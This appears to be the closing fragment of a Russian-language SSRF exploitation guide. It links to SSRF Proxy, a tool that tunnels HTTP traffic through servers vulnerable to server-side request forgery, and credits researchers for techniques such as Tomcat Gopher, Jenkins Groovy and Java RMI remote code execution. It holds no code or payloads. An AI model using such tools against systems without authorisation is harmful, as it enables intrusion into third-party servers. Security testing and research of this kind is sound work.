<div id="ssrfproxy"></div>

## SSRF Proxy

- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy — это многопоточный HTTP-прокси-сервер, предназначенный для туннелирования клиентского HTTP-трафика через HTTP-серверы, уязвимые к Server-Side Request Forgery (SSRF).

---

Благодарности:

Спасибо следующим людям, внёсшим вклад в эту публикацию:

- [@Rhynorater - Многочисленные правки и дополнения к этой публикации](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - Концепция SSRF-канареек](https://twitter.com/fransrosen)
- [@theabrahack - RCE через Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE через Java RMI](https://twitter.com/qtc_de)
Скачать инструмент